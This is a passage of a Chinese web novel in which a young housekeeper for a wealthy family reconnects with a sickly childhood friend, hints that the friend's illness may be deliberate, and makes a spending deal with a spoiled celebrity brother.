钟时夏表情上终于有了一丝松动:“嗯。” 这么多钱放在身上,他每天也很胆战心惊的。 见两个小孩说完了,乔梧这才朝钟禾静的位置看了眼,态度却忽然温和甚至有些亲密:“我们先回去了,电话联系。” 没想到她还会告别,钟禾静愣了一下才点头:“好。” 可电话联系?联系什么? 她们是这种可以联系的关系吗? 等人离开,钟禾静在老师的提醒下来想到自己刚才要干什么。 原本是想按照以前的方式来解决问题,可是抬眼看到这两个陌生的弟弟,她忽然改主意了。 她笑了笑:“既然已经报了警,那就看警察怎么解决吧,谁的责任谁担,我身体不太好,就不操这个心了。” 说罢她也站起身,望向钟闵两人:“走。” 即便钟闵再怎么不情愿,也不可能再继续跟这些人待在一起,所以带着钟时夏一起跟在她身后走了出去。 走出教室时,几人正好看见乔梧和陆柠一齐走出教学楼。 陆柠从乔梧身上扒下自己的书包,仰着头不知道在说什么,手舞足蹈的。 而乔梧则是侧眸认真听着,偶而笑一笑摸摸她的脑袋,画面看起来格外和谐温馨。 不像钟禾静记忆中的陆家。 陆家经历很大的变故,在那之后家庭关系就变得比较紧绷,陆柠这个孩子性格一向是轻狂的,更别说其他几个陆氏兄弟。 可今天看着怎么不太一样了? 虽然还是能看出陆柠有些小孩子的脾气,但也无关紧要,在乔梧面前她听话得过于异常。 而且以陆江和陆尽之的脾气来看,乔梧绝对不会是他们选中的管家人选。 所以到底发生了什么? 算了,现在还有眼下的事。 “钟时夏,你先去车上。”她停下来。 钟闵看她一眼,也跟着停了,推了弟弟一把:“去吧。” 等人离开后,钟禾静才说:“今天的事我不希望再发生第二次。” 这话钟闵早有预料,他轻嗤:“但我是什么东西你们不早知道了?跟你们这些高门大户比不得。” “如果今天没有陆家,没有乔梧,你觉得我 们会这么快出来么?“钟禾静冷冷地看着他,“你究竟在骄傲什么?” 钟家已经不是过去的钟家。 以前尚且还可以跟陆家走得近一些,但自从钟茹跟父亲感情破裂,两人各自有了自己的情人,接着怀孕生孩子闹离婚纠缠不休,这些并不是没有任何风声,公司里权力分散混乱,人心不稳。 加上后来自己身体不好,强势的钟茹管天管地,导致钟家现在一落千丈。 哪怕是来跟刚才的骆志华谈条件,也得有来有回。 有时候钟禾静都觉得很累,觉得大家要不一起同归于尽算了,这些钱啊利啊家族名望啊,压得她喘不过气来。 “我骄傲?”钟闵气笑了,“你们不问我的意见把我逼到这个地步,时夏转过多少次学是不是因为你们,来这个学校是不是因为钟茹!现在出事了嫌弃我做得不够好,怎么,你们指望一个混混能干出什么惊天动地的大事来?排进福布斯吗?你家这血是镶了金还是嵌了钻这么牛逼?我明着跟你说,我就是要让钟茹不痛快!” “啪!” 钟禾静一巴掌扇了过去,打得钟闵的脑袋偏了偏。 空气一下安静了下来。 “所以你要整个钟家来陪你玩吗!” 钟禾静被他气得眼前发白,撑着旁边的墙壁阖眼直喘气。 钟闵狠狠吐出一口气,没再继续这个话题,拿出手机打了电话:“来把你家钟总接回去!” 等在校门口的司机闻言匆匆下车,生怕小姐再出点什么事。 两人开了不同的车来,钟闵见司机把她带上车后,也开上车带着钟时夏走了。 陆柠一直没等到司机开车,见乔梧一直盯着外面看,不由疑惑:“你在看什么?” 两辆车早已消失在街尾,乔梧轻轻摇头:“没什么。” 看来钟禾静的身体比她了解到的还要糟糕。 谢意和父亲给她的资料里,除了名单还有每一家一些比较私密的往事。 乔知义作为在陆江身边待了这么多年的助手,对待这些豪门自有一套方法,所以了解到的东西也很多。 现在她继任,父亲肯定毫不保留把这些资料都给了她。 所以今天在学校意外遇到钟闵后,她才会对名单上的钟家更为上心,也多翻看了这家的资料。 也是因为这个,她才将钟闵和钟禾静的关系对上号。 钟禾静在原剧情中并没有出现过。 但钟闵的剧情里却有一个早逝的姐姐。 乔梧所认知的剧情是以男女主的视角展开,男主出场时已经是个初露锋芒的人物,只是偶尔会提及他的身世背景为他的人设铺路。 他被母亲强迫威胁继承家业,所谓的父亲处处要害他,以及那个被一笔带过的姐姐。 小孩的记忆或许会有些欠缺,对于童年玩伴记得模糊,但乔梧不会。 钟禾静比她大一点,但实际上是个性格不错的人,也一直很健康。 家底殷实的人吃穿用度都有考量,更是有营养师,定期体检,身体不会说垮就垮。 钟闵的姐姐过世后,他和钟时夏都被名义上的“父亲”下过手,唯一的既得利益人是谁不言而喻。 钟家。 一前一后回到家的几人谁都没有搭理谁,各自回房。 钟禾静在床上休息了好一会儿才缓过劲来。 虽然身体不好,但现在的钟闵一是对钟家怨念太深,二是对公司的业务不不熟,钟茹那边更是不肯放权给旁人,很多事还是要经过她的手。 她起身想要去书房看看公司文件,在经过镜子看到上面苍白憔悴的自己时,却还是有点走神。 曾经的她也是光鲜亮丽的,也不怕自己的狼狈会被任何人看见,就像今天看到的乔梧一样。 可现在不一样了。 甚至于,乔梧走之前留下的那句电话联系,都被她卑劣地用做了压制骆志华的底气。 正想着,她手机忽然响了一下。 是乔梧。 做生意的人,不会因为一些随随便便的原因而拉黑谁,所以钟禾静一直将她的手机号留着,只是没有联系过。 没想到乔梧说的打电话是真的打。 她迟疑了一下,还是接起来:“喂?” “想约你见个面。”那头的乔梧说,“不知道可不可以?” 换做是以前,钟禾静一定会拒绝,因为她不知道自己跟乔梧在一起能说什么。 但现在她却改了主意:“明天下午三点。” “好,我选地方还是你选?” “去陆家吧,你不是要工作么。” 陆家也有专门谈事情的地方。 “好,那明天见。”- 第二天下午三点,钟禾静准时来到陆宅。 她已经有很多年没有来到陆家,但这里却依旧有条不紊,甚至更加奢华富贵。 不像要完蛋的样子。 一般来说外面的车进入陆宅有专门的停车场停放,但钟禾静却听负责接待的佣人道:“小乔管家说,您的车可以直接进。” 钟禾静有些意外。 不仅是意外自己的特殊待遇,还意外陆家这些人对待乔梧的态度,因为在她的记忆里,以前的乔梧总是把自己当成陆家的正牌大小姐,并不是很讨这些佣人的喜欢。 很快她被前面的引路车带到了跟乔梧约定的地方。 今天天气好,乔梧正坐在中式园林的亭子里,不知道在翻看些什么。 听见声音她停下动作抬头,那一瞬间钟禾静忽然觉得如果自己真的是第一次来到陆家,看到这样的乔梧她也会认为对方是这里的主人。 不是因为她的态度,而是她的气质。 其他人陆续离开,乔梧将手里的东西放在桌上站起身,见钟禾静的脸色比前一天更加不好,微微敛眸。 “请坐。” 钟禾静在亭中坐下,听见乔梧问:“要喝点什么?” 她不动声色将周围环境和对方的态度表情收入眼底,礼貌道:“水,谢谢。” 看得出来乔梧的确是陆家的管家,从进门开始,陆家的每一个人对她都毕恭毕敬,看不出一点不服,家里也井然有序。 乔梧当着对方的面倒了两杯水,自己喝一杯。 “找我什么事?”钟禾静问。 “随便聊聊。”乔梧目光沉静,语气也很平和,就像拉家常一样,“昨天就发现了,你身体看起来不太好,看过医生了吗?” 钟禾静不太愿意把自己的私事跟对方说得太明白,只道:“一些小毛病,养着就好。” 然后她就看到了乔梧之前在看的东西。 初二年级随堂练习册。 陆柠的? 以前这人对陆柠吵闹的厌烦不作假,这又是在干什么。 乔梧知道对方可能对自己存有一些误解,所以并没有追问太多,而是道:“之前对你的态度有些不好,并非我本意,如果你有什么想问的,现在可以问我。” 钟禾静愣了一下,没料到对方会这么坦诚。 但说句实话,小时候谁的朋友都很多,可能走到最后的并没有多少,与其去在意那些童年旧事,还不如朝前看,谁也不是当初那么单纯的小孩了。 “没有。”钟禾静喝了口水,“你约我来就是想问这个?” “差不多。”乔梧温声道,“只是想关心一下你的近况。” 钟禾静呛了一口:“我们好像没这么熟?” “嗯。”乔梧并没有一点被人推开的尴尬,平平稳稳地说,“所以只是出于小时候的玩伴情谊。” 她当然知道这么多年没有交集,也互相不知道对方的消息,两个人都不知道对方到底变成了什么样。 可乔梧并不是那么瞻前顾后的人,她已经比人多活了一辈子,甚至体验过身不由己的绝望。 所以在很多事情上她十分洒脱,尤其是对人。 没有人是一定的好,也没有人是一定的坏,所以哪怕现在的钟禾静变得跟当初不一样,变得狡猾自私,乔梧还是会选择为过去相处和谐的那段时光买单。 就像她现在也会为了陆家的人暂时停留一样。 至于要不要再继续约下一顿,就看对方的态度了。 至少见面以来,钟禾静对她的几次态度,都在她的接受范围内。 这要是换个油嘴滑舌的人过来,钟禾静说不准当场就说对方多管闲事,但乔梧直白得令她震撼。 隔了好一会儿,钟禾静才找到一点思路,既然乔梧要讲这份情,那她也讲。 “既然这样,那我也问问你的近况。” 乔梧笑了:“如你所见,挺好的。” “我没想到你会做陆家的管家。” “他们需要我。” 钟禾静忍不住了:“你……能做得好吗?” “我的回答是我会做得很好,至于你信不信。”乔梧看着她的眼睛,认真道,“那就要看你记忆中的我是什么样了。” 再怎么说钟禾静也曾是公司的一把手,是钟家的唯一继承人。 在外面别人也要恭恭敬敬喊她一声钟总。 她这会儿有点割裂。 她印象中的乔梧,如果是那个虚伪的、令人作呕的,别说相信,她甚至不会出现在这里。 但如果是昨天那个语笑嫣然自信从容、是曾经牵着在陆宅迷路的她的手、是此时面前这个因为过去情谊坦荡说出关心她的人。 那这个人会做得很好。 钟禾静挖出自己内心的答案。 从小她就被钟茹要求要成为最优秀的继承人,做的每一件事都被严格管束,以至于她总是会下意识去追逐更加优秀的人。 而乔梧,明明比她年纪小,却是懵懂中的她第一个想要成为的人。 过去她一直在想,像乔梧那样的妹妹以后长大会是什么样子? 现在她看见了。 也是她认为自己长大后该成为的样子。 钟禾静捧着水杯的手轻轻颤了颤。 可现在钟家一直在走下坡路,而她人不人鬼不鬼,能活几天都是个未知数,走的每一步路都在被利益驱使,甚至连幼年时光都被她抛之脑后不敢再回忆。 她没能成为自己心目中的样子。 第20章 第二十章二更 钟禾静笑了一声,只有她自己知道这其中有多少自嘲的意味。 “在遇到你之前,我没见过有人会前后这么矛盾。”她说。 “那怎么办?”乔梧也笑,“不如相信自己的直觉。” 见现在的乔梧并没有那么好糊弄,既然对方都这么说了,那钟禾静也不跟她绕弯子,说实话她的确有些乏力:“我的直觉是,你叫我来不仅仅要说这个,现在老陆总人在医院,陆尽之又没回国,至于其他几人……估计心不在公司里,那你们有什么需要用到我们家的?” 除此之外,她也想不到其他。 乔梧被她这一本正经的样子都逗乐,见对方的确没有再将她跟以前的“她”看待,将准备的点心推到钟禾静面前,自己则是又开始翻起桌上的练习册:“如果是工作上的事,我不会选在这里,用这样的方式跟你谈,更不会提起一点所谓的情谊,那样太不正式了,我是以自己的名义邀请你过来,当然只是私事。” 她今天接到陆柠老师的电话,问陆柠作业是不是落在家里了。 所以乔梧去她房间里看了一眼,果然发现了作业。 那头应该是外放,所以陆柠的声音顿时就传了过来,雄赳赳气昂昂的:“我就说我写了的!” 小小姐第一次老老实实写作业,虽然一个题都没看懂,但她还把每一个练习册都写满了。 哪里想到第二天起得太急,忘记练习册还放在桌上,来学校以后老师还一脸慈祥地说没关系。 不能没关系! 写了就要让老师知道,不然不是白写了! 所以她一定要求老师打电话回家求证。 得知前因后果后乔梧哭笑不得,为了圆小朋友的梦,还打开练习册准备拍照给老师把作业那一页发过去。 结果发现满满当当的练习题,没一道写对的。 幸好当时没让她去国际班,不然可能题都读不懂直接照抄题干。 所以乔梧刚才是在等人的空闲时间里给陆柠改作业。 她翻了两页,发现钟禾静还没有要离开的意思,心下了然。 这是她第二次提起私事,不离开的话说明钟禾静心里是聊得下去的。 事实上钟禾静并没有想太多,只是看着乔梧自然的检查作业的动作,她有种自己只是来朋友家喝了个下午茶的错觉,久违的轻松让她暂时还不想离开。 哪怕她在来之前还说自己跟眼前的人还不是很熟。 她难得有了些胃口,拿起桌上的点心吃了起来,动作很慢。 气氛太融洽,让她终于抛去那些乱七八糟的想法。 “据我所知钟时夏并不是会故意找茬的小孩。”她找了个轻松的话题,“跟陆柠应该真的只是误会。” 乔梧问:“你不讨厌他们?” “没长大的小孩。”钟禾静想起那一巴掌,“谈不上讨厌。” 这是实话,她就是觉得无力。 如果她有健康的身体,这些问题就不会存在。 “在他们没来之前,你的身体就不好了吗?” 钟禾静:“嗯。” 她生病的事并不是秘密。 起初只是失眠焦虑,后来有了些躯体反应。 可钟禾静去医院检查过,医生只说她太过劳累工作压力大,加上心理负担一直很重,所以由心理问题诱发各种躯体反应。 一直以来都是用药物在控制,以及定期看心理医生。 但现在哪怕她降低了工作强度,免疫力也在急剧下降,不仅是一些躯体化反应,平常生活上的精力都已经不太足够了。 “其实昨天看到你以后,我很担心你。”乔梧实话实说,“如果你不介意,要不要去陆家的医院看一看?” 钟禾静今天受到的惊吓实在是太多了。 担心这个词有很多人对她说过,但最终只有一个目的,担心她不能继承公司,又或者是担心她能继承公司。 都挺纯粹的。 乔梧属于前者还是后者? “陆家应该还没穷到要惦记我们家公司的地步?” 乔梧失笑:“都说了跟陆家没关系,只是我。” 钟禾静条件反射:“你也惦记?” “……” 意识到自己说了什么蠢话,钟禾静自己都忍不住笑了。 其实再去哪里看医生都是一样的,她知道自己的心理是有些问题,走到今天这一步可能也是命中注定。 “你应该不是会轻易放松警惕的人。”乔梧说,“哪怕是生病也会有怀疑,如果你不想去,那我建议除了从自己身上找原因,也从别人身上找一找,你过去服用的药物保健品甚至是家庭医生,佣人保姆,都可以好好检查。” 钟禾静身体忽然僵住了,她神色变得严肃,探究望向乔梧:“你是说我的病有可能是人为?” “查一查也没什么坏处,生活在这样复杂的环境,更小心一点又没有什么坏处。” “为什么会有这种感觉?” “可能是因为……你活着的愿望很强烈。”乔梧指着桌上的点心,“所以我相信你有一颗很强大的心脏,如果没有意外,不会轻易被一些小事打倒。” 乔梧修过心理学,钟禾静做的每一件事每一个动作都表明她是一个极其有向上心态的人,所谓的心理问题或许存在,但并不会很严重。 而原剧情里钟闵被他那个名义上的父亲下药,也是这种方法。 钟禾静在这一刻终于明白了乔梧邀请自己见面的目的。 是在很明显地提醒。 “谢谢。”她轻声说。 乔梧没再继续这个话题:“喜欢这个点心的话,有空常来。” 钟禾静刚要说话,就听到身后传来马蹄声。 她回过头,发现有人骑着一匹黑马直直朝这边走过来。 陆应池? 钟禾静听说过不少人对陆应池的评价,陆应池现在越来越难以管教,是个不折不扣的混账二世祖, 时常把老陆总气得破口大骂。 去年还跳过楼。 想到这儿她就把头转了回去,昨天才打过家里那个弟弟,今天不想再看到这些让人烦心的。 “听说有客人来了。”陆应池骑着马走近,眯着眼想要看清楚亭里是谁。 他回来时没听清,就听说乔梧放了人进门,而且居然还允许人家直接把车开到后宅来,更是震怒。 除了陆家这几个,她在外面还做别人的狗?! 她是哪吒吗!有三头六臂?! 这都要成八爪鱼了吧!不对,是蜈蚣! 他暗暗磨牙,倒是让他看看这人到底是谁。 乔梧放下手里的作业抬头:“所以你是这么见客人的?” 陆应池心道:我没让公主践踏那人就不错了,还指望我多有礼貌呢。 乔梧:“下来。” 见对方好像是个女的,陆应池皱皱眉从翻身下马。 白瞎把公主骑出来了。 乔梧皱眉:“我记得你今天下午有课。” “少拿那种眼神看我,老子没逃课!”陆应池将马系好走过去,臭着脸解释,“老师下午临时换课了。” “那来打个招呼吧。” “打什么……” 陆应池走过来,这才看清坐在这里的人是谁:“钟禾静?” 乔梧卷起作业本敲了一下他的手臂:“叫姐。” 陆应池躲了躲:“你别得寸进尺!” 既然乔梧让他打招呼,那他应该也能听,所以他拉开椅子坐下:“你怎么来了?老头又不在家。” 陆应池不太关注商场中的事,只依稀记得钟禾静好像已经继承她家的公司成总裁了,那就是来谈事儿的。 “是我请她来的。”乔梧说,“她是我的客人。” “你的客人?” 陆应池更加奇怪。 别人他不知道,但乔梧跟钟禾静合不来那不是谁都知道的事儿吗? 乔梧点头:“所以你如果没礼貌,就请离开。” “……” 陆应池轻啧。 在离开和打入敌营之间选择了后者,他不情不愿地喊了一声:“姐。” 钟禾静吓得喝了口水压压惊:“你好。” 太诡异了。 要不是陆应池现在人高马大的,她都要怀疑自己是不是穿越到了十多年前、陆应池像只跟屁虫一样跟在乔梧身后的时候了。 怎么变得这么听话? “这是什么?”陆应池看到桌上的练习题,拿起来随便翻看,然后哔哔个不停,“卧槽,这是什么烂字,我用脚都写得比她好,她自己也看得懂?还有,这上面有对的题吗?选择题都能完美错开答案?她真的有脑子?” 乔梧干脆把没看完的练习册都甩给他:“闲着没事你顺便帮她改改吧。” “为什么是我?”陆应池不乐意,“我的时间很宝贵,不能浪费在看这种垃圾上。” “她昨晚写作业写到很晚,很认真。”乔梧说,“但今天忘了带作业,让老师打电话给我的时候很委屈,我想才到新学校应该是很希望表现好一点的。” 陆应池:“……” “你不会连初中的题都不会做了?”乔梧怀疑地看着他,“都说考上大学以后,智力会退……” 陆应池一把捞起桌上的签字笔,看也不看就先在作业上画了个大大的红叉:“闭嘴。” 乔梧弯弯唇:“记得细心一点。” “我今天高低得让她知道什么叫做智商的参差!” 于是乔梧用叉子叉了一块蛋糕给他:“那你加油。” 她原本是想让陆应池自己接,没想到陆应池头也没抬就这她的手就吃下去了。 乔梧动作只是几可不察地顿了顿,却也没当回事。 别说喂蛋糕了,以前喂饭喂水也是常有的。 旁边的钟禾静目瞪口呆。 她真的病入膏肓出现这种错觉了吗?乔梧在喂陆应池吃东西?! 陆应池还在垂着眼看作业,似乎没有把刚才的举动放在心上。 但只有他自己知道他现在满眼都是作业纸上的红叉叉,根本一个字都没看进去,刚才那几秒对他来说度秒如年,他脑袋里想了数不清的东西。 乔梧怎么回事? 为什么要亲手喂他吃蛋糕?他都多大了,他要吃自己没有手吗! 当着外人的面如果不吃是不是不给她面子。 可是吃了他不就没有面子了! 等他反应过来的时候,他已经将蛋糕吃进去了。 而且!就着!乔梧的手! 意识到这一点,陆应池整个人都烧了起来,余光一直落在桌面那只白皙的手上。 乔梧似乎没有再继续喂他的意思,那把属于他的叉子已经放在了他的方向,上面还沾有奶油。 好甜。 家里的甜品师什么时候做甜品这么甜了! 陆应池没抬头,捏着笔:“我要喝茶。” 乔梧看他一眼,见他还在认真给陆柠批改,所以给他倒了杯茶。 只是这次她是将茶杯推到陆应池面前的,陆应池脑子有点懵,看着那只手递过来就下意识将脑袋俯下去了。 直到被人敲了一下脑袋才回神。 见他下巴都要抵在桌上,乔梧莫名:“你手呢?” 陆应池呆了呆,立刻伸手将茶端起来一饮而尽,然后将杯子吧嗒一声放在桌上,抱着桌上的作业起身就走。 对于他这种抽风的行为,乔梧倒是习以为常:“把公主带回去。” 走出好几步的陆应池又闷头走回来,一言不发地解开公主牵着走了。 钟禾静也没看懂:“他怎么了?” 乔梧换位思考了一下:“应该是那些题不会做,去查答案了。” 这个可能性是最大的了。 “陆应池现在跟陆柠关系挺好?” “都是一家人,怎么会不好?” “跟你的好像也不错。” 乔梧将刚才被陆应池放倒在桌面的杯子拿起来,闻言轻笑:“对我来说,他们也是家人。” 两人的相处模式看起来不像作假。 钟禾静若有所思地点了点头。 而牵着公主走远的陆应池边走边愣神,抓着公主的耳朵不停逼逼赖赖:“公主,她喂我吃蛋糕,你说是为什么?” “讨好老子?” “笑死,我有那么容易讨好吗?她做梦。” “你放心,我暂时不会因为这块蛋糕就把你交给她的。” “你也觉得太廉价对不对?应该得值好几块。” 公主被烦得忍无可忍,脑袋一甩,高傲地往前走了。 另一边,钟禾静一直惦记着乔梧的提醒,所以也没坐多久就起身告辞了。 乔梧送她上车。 两人才来到路上,一辆黑色的保时捷就冲了过来。 虽然知道对方不会伤到谁,但乔梧还是下意识伸手将钟禾静往旁边带了带:“是陆宣。” 钟禾静心想,除了他应该这家里也没谁了。 不过这个倒也符合他的人设,要说陆应池还在学校,他的消息只能从圈内人知道,但陆宣则是经常上热搜的。 虽然没有一个词条是对他有利的,但凭心而论,钟禾静觉得大多都是实话。 毕竟陆宣确实是个挺倨傲难以管教而且做事不按常理出牌的富二代,越长大脾气越难以捉摸,人家耍大牌也是因为他的确是大牌,至于演技不好还脾气大。 没有一条冤枉他啊。 保时捷在她们身边一个急刹车。 陆宣下车后看都没看旁边站着谁,奔着乔梧就去了。 他咬牙切齿:“你到底管不管陆尽之?” 乔梧明知故问:“他怎么了?” “怎么了?”陆宣指着自己的手机,“我一张卡都不能用了!” 他说着说着气得手都在发抖:“我他妈的,这辈子就从来没有听过余额不足这种话!” 今天余修把新经纪人带来公司,说因为上次的事情觉得抱歉,中午请他吃饭。 陆宣原本不想去,但一想到今天好歹第一天,这都是 乔梧给他铺的路,所以还是去了。 他一向财大气粗,更不会在意自己花出去多少钱,出去吃饭就没有让别人付钱的经历,更何况这还是他的经纪人,让人买单像什么话。 但是,他的卡被停了。 每一张都被停了! 而当初跟公司签合同的那张卡,上面那点点片酬早就不知道什么时候被花得一干二净,他从来也不在自己身上带钱。 所以今天吃饭,他竟然连微信余额都不够! 不够! 陆宣至今都忘不了余修和新经纪人看他的眼神。 余修甚至一边结账还一边嘲讽他:“你的钱好像也不够给你家管家买首饰了。” 简直是奇耻大辱! 更可气的是,陆尽之居然还把他拉黑了! “要么你现在管管陆尽之,要么……”陆宣抬起手,做了个抹脖子的动作,阴恻恻道:“要么我就在他回国当天守在机场暗杀他。” 钟禾静看看陆宣,又看看乔梧。 话里信息量好大,乔梧还能管陆尽之?! 乔梧压着上扬的嘴角:“这不是好事吗?” “你说什么?” “这样你就可以证明你有实力比得过陆尽之,也能证明你雇得起我。”乔梧摊摊手说,“要当第一顺位的话,好像只能这样了。” 钟禾静想,这种鬼话放到钟时夏面前,那小孩都要迟疑几秒。 可眼前陆宣升腾的怒气倏忽一滞。 亲眼目睹的钟禾静:…… 脾气难以捉摸? 不是,这都能信?! 20-30 第21章 第二十一章让他滚 哪怕是见过大风大浪的钟禾静,现在也不太能控制自己的表情,她隐隐觉得自己好像对陆家的每一个人都有很大的误解。 如果陆宣真的是这么个脑子,那的确没人能摸得透。 可能是身旁的人表情太过于震撼,陆宣也从暴怒中稍稍冷静下来,意识到这里还有别人。 都怪陆尽之。 他扶好墨镜重新捡起自己的偶像包袱一语不发,不愿意在外人面前丢人。 乔梧给他递了个台阶:“一会儿再说,我先送客人出去,你也把车开去车库。” 回答她的只有陆宣沉默的背影。 保时捷再次扬长而去,钟禾静虽然已经收拾好自己的表情,可世界观已经颠覆得差不多了。 等把人送走乔梧来到主宅,陆宣就脸色阴沉地坐在沙发上。 “别想糊弄我。”他已经反应过来了,“我现在连吃饭的钱都没有。” 别说什么证明自己,他就算是去抢也得花钱买装备,开车去银行也要时间吧! 他摘下墨镜,指着自己的脸:“知道这张脸要花多少钱保养吗?” 工作原因他常年在外,又不能来家里的美容室,那可不就要花钱? 听他说完后乔梧走上前,目光像是在观赏一件艺术品一样认真看他的脸,的确没有任何挑剔的地方。 “知道。” 为了这张脸多花点钱是应该的。 “很值。”她赞同点头。 陆宣被她直勾勾的目光看得不太自然,歪开脑袋:“看什么看,花钱了么你。” 事实上乔梧只是有些近视,看人的时候自然是要将视线放专注一些的。 她不知道陆宣那么别扭,站在他面前温声道:“这样,我们来做个交易吧?” “交易?” 不会真的对他的脸有什么想法吧?! 陆宣下意识坐直身体。 “你哥的脾气你应该比我清楚,他不会把钱给你的。” 陆宣蹙眉。 所以还是去暗杀他比较合理。 乔梧继而又道:“但是我可以给你。” 陆宣倏忽抬眸,目光变得十分复杂。 见他嘴唇轻轻动了动,似乎在挣扎什么,乔梧就耐心地等着,然后听到他说:“GS是个正经公司。” “嗯?” 陆宣整理衣领,耳根通红地表达自己的倔强:“我卖艺不卖身。” 花钱也不行。 “……”她被这个傻子的脑回路气笑了,“你卖艺也值不了几个钱。” “所以你真要我卖身?!” 乔梧深吸一口气:“我对你的身体更没兴趣。” 这话陆宣就不乐意听了,他黑粉再多也没人黑过他的颜值和身材,乔梧到底懂不懂什么是天菜。 他撸起袖子,露出自己肌肉线条紧实的小臂,往后一仰,大长腿也搭上了桌,矜骄吐出两个字:“没品。” “你的日常开销我可以负责。”乔梧不愿意跟他聊这种奇怪的话题,“包括你的衣食住行,必要的应酬交际也会合理给你资金,你觉得怎么样?” 其实花不了多少钱,陆宣需要的日常装会有品牌送到家里给他们挑选,又或者专门定制,这些钱不用他自己掏,这些基础一向都是乔梧在负责。 至于陆宣平时出去要花的钱,她又不是给不起。 但仅仅只给他花在正途上。 陆宣没想到前几天还在挑衅人家没钱给乔梧买首饰,现在却变成了乔梧要给他买首饰。 虽然没钱真的很操蛋,但这种感觉很新奇,他也不讨厌。 “那你说什么交易?” “按时上课,认真工作,不违法乱纪,不任性胡来,遇事提前三省,健康饮食,饮酒适量,交友谨慎。”乔梧又扫了他一眼,“鉴于你还是个艺人要为自己的形象负责,每周都要检查你的体脂,每天要做运动塑形。” 陆宣越听表情越扭曲。 “小学生行为规范?” “陆宣行为规范。”乔梧从善如流,“我会把这些整理成文件,连带着其他你需要注意的事项一起发给你。” “我要是不愿意呢?” “那你去暗杀陆尽之吧。”乔梧挑眉,“我会给你提供他回国的航班信息。” “。” 陆尽之知道你这么狠吗? 可恶,怎么以前他就没有想到要去问乔梧的保险柜密码呢! “这些事情很难做到吗?”乔梧反问他,“听着很多,可应该都很简单,对你没有任何不利。” 陆宣说不上来。 但他就是觉得这些条条框框,很不陆宣! 不对,可是他做这些对乔梧有什么好处,这算哪门子的交易。 “你图什么?” “图你成为家喻户晓的大明星。”乔梧微微俯身,浅瞳里含着淡淡的笑意,“那我就是大明星背后的金主了,多酷。” 陆宣撩起眼,跟她对视了好几秒都没说话。 “我说到这里,你考虑考虑吧。”乔梧很快就收回了视线,“或者你还有其他选择,去找陆柠陆应池,或者你爸,他们应该会很乐意帮你。” 开什么玩笑,真要是找过去了那不是一辈子都抬不起头了! 见乔梧转身要走,陆宣一把抓住了她的手腕。 家里的温度一向都很适中,可她的皮肤却凉凉的,跟他掌心的炙热全然不同,对比鲜明。 陆宣视线在两人相触的地方凝住,直到乔梧动了动他才忽然将手松开自然搭在膝盖上,指尖却虚虚合拢。 “我答应了。”他说。 乔梧眼底的笑意瞬间浮了上来,她伸出手:“那合作愉快。” 陆宣偏了偏头,再次握住那只微凉的手。 “合作愉快乔老板,哦不。”他一字一顿,“金主。”- 钟禾静回到家后什么都没说,准备收拾东西去自己另一套跟公司离得近的房子。 过去哪怕有其他房产,但她从小一直都跟父母在一起生活。 当初钟茹夫妻感情破裂外遇闹离婚,但由于后来发生的一系列事情,钟茹变得有些偏激,这么多年都没有再提过离婚这件事,两人虽然没有继续住在一起,却一直互相纠缠厌恶至今。 这些年她父亲也不住在家里,她单独跟钟茹住,后来又多了钟闵和钟时夏,所以钟禾静想象不到会有谁会对自己有害心。 那边的房子定期有保洁打扫,没有保姆佣人,更没有生活气息。 虽然乔梧的提醒有些突然,但有利无弊,想要跟过去所有断开 连接调查,只有换一个新的环境,只有她一个人。 因为她谁也信不过。 第二天她才出门就遇到了出差回来的钟茹。 钟茹看了她的行李箱一眼,皱眉:“去哪?” “不想公司来回这么远,精力不够,我去另外的房子住一段时间。”钟禾静说。 这个答案勉强让钟茹满意一些:“先来书房。” 钟禾静只好放下行李箱。 来到书房才看到钟闵也在。 钟茹坐下,从抽屉中拿出一份邀请函:“陆尽之要回国了知道吗?” “嗯。” “你过去常在陆家,跟他也算有交情。”钟茹说,“这次你带钟闵一起去,多认识一点人,让他学一学规矩,尤其是陆尽之。” 说话间她又看向钟闵:“陆尽之在国际市场已经有了自己的稳定势头,现在陆江已经开始逐步让权,陆氏以后就是陆尽之说了算,其他人都可以先放一放,但你一定要跟陆尽之说上话,让他注意到你,听到了吗?” 钟闵已经从很多人那里听说过陆尽之的名字,无非就是陆氏未来的掌权人,含着金汤匙出生,少年天才年轻有为。 他嗤笑:“太看得起我了,我是什么东西也配让他注意到我。” 钟茹没理会他的阴阳怪气,只是淡淡道:“我听说你想给钟时夏转学。” 果然,学校里的所有事钟茹都一清二楚,但她从来没有插手管过。 钟闵的确不想让钟时夏继续在那个地方上学,阶层不对等,那些人对弟弟也没有什么好心,但他没有办法。 “我不管你是什么东西。”钟茹冷声说,“就算是只山鸡现在也得给我披上凤凰衣。” 又想起什么,看了钟禾静一眼:“既然你姐要搬走,你们也一起搬过去,跟着她好好学。” 钟禾静立刻道:“不行。” “怎么不行?你们是姐弟,住在哪里都是住,你的房子住得下,再找几个人过去照顾,我没有太多时间来教他。”钟茹没有给她拒绝的机会,将邀请函放下后就起身往外走,“如果不愿意你也不要走了。” 书房门被砰的一声关上,房内再一次变得安静。 两人脸色都不太好看。 钟禾静深知钟茹的性格一向说到做到,如果今天没有松口让钟闵过去,她一定走不出钟家的门。 但是她的病在钟闵来之前就有,所以跟他们兄弟没有什么关系,在她自己的地盘上,也都由着她做主,那就还好。 至于这两兄弟,就当看不见好了。 “去收拾东西。”她说。 钟闵瞬间觉得自己像是一条被人呼来喝去的狗。 别人需要他就要随时过来,不需要的时候也要随时走开,无论去哪里都不是自己做主。 “我不去。”他说。 他要留在这里膈应钟茹。 “我不想跟你吵。”钟禾静没太多心思,她拿起桌上的邀请函,“你能不能成熟一点?” “你们到底有没有把我当做人来看?”钟闵怒道,“我说不想去!” “我给你五分钟的时间,如果你能说服妈,那你完全可以不去。”钟禾静说,“但我必须要离开,你要是影响到我,别怪我不客气。” 钟闵摔门而出。 钟禾静回到自己的房间等了五分钟,眼看着时间到了,钟闵还没回来就知道答案了。 她打电话叫来保镖,提着行李自己先去了车库。 五分钟后,保镖将五花大绑的钟闵和钟时夏一起塞进了后面的车。 钟禾静不想跟他们坐一起,肯定会吵得心烦。 她忽然想起在陆家时看到的陆应池和陆宣,以及那天在学校时的陆柠。 这些人曾经都是圈子里津津乐道的二世祖,虽然很多人明面上不敢说,但背地里没少在偷偷看陆家的笑话。 甚至很多人都在觊觎着陆家如今的家财。 他们对陆家这些烂泥扶不上墙的兄弟们喜闻乐见,陆江跟几个儿子一向不合,把二儿子都气到国外两年没回。 如果哪天陆家真的分崩离析了,就会被这些暗地里早就窥视已久人蚕食殆尽。 虽然很可耻,但钟禾静曾经也是这些人其中的一个。 